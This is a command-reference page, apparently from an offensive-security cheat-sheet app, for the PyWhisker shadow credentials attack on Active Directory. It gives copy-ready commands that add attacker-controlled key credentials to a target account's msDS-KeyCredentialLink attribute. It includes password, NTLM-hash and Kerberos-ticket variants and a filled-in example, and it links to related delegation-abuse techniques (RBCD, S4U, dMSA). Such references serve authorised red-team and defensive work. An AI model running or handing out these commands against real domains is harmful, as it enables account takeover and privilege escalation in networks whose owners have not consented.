PyWhisker Shadow Credentials
Add shadow credentials to a target account's msDS-KeyCredentialLink attribute
- Tool
- python3
- Category
- Privilege Escalation / Delegation Abuse
- Platform
- linux
- Requires
- password
- Protocols
- LDAP
Syntax
Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.
python3 pywhisker.py -d '<domain>' -u '<user>' -p '<password>' --target '<target_user>' --action add --dc-ip <ip>
Credential variants
The same attack using a different authentication material.
NTLM Hash requires NTLM hash
python3 pywhisker.py -d '<domain>' -u '<user>' --hashes ':<hash>' --target '<target_user>' --action add --dc-ip <ip>
Kerberos Ticket requires Kerberos ticket
python3 pywhisker.py -d '<domain>' -u '<user>' -k --target '<target_user>' --action add --dc-ip <ip>
Examples
python3 pywhisker.py -d 'corp.local' -u 'user' -p 'password' --target 'admin' --action add --dc-ip 192.168.1.100
Tags
Related commands
- Certipy Authenticate with Certificate Authenticate using a PFX certificate to obtain a TGT and NT hash
- bloodyAD add badSuccessor Create a Delegated Managed Service Account (dMSA) and chain it via…
- bloodyAD Set RBCD Configure Resource-Based Constrained Delegation: write…
- Impacket Add Computer Create a new computer account in Active Directory (used for RBCD attacks)
- Impacket getST (S4U) Abuse constrained delegation or RBCD via S4U2Self/S4U2Proxy to impersonate a user
- Impacket RBCD Write Write msDS-AllowedToActOnBehalfOfOtherIdentity to configure RBCD on a target
- NetExec badsuccessor Module (dMSA Abuse) Detect BadSuccessor dMSA-link abuse: a Server 2025 delegated Managed Service Account…
- RBCD Attack Configure Resource-Based Constrained Delegation (RBCD) on a target computer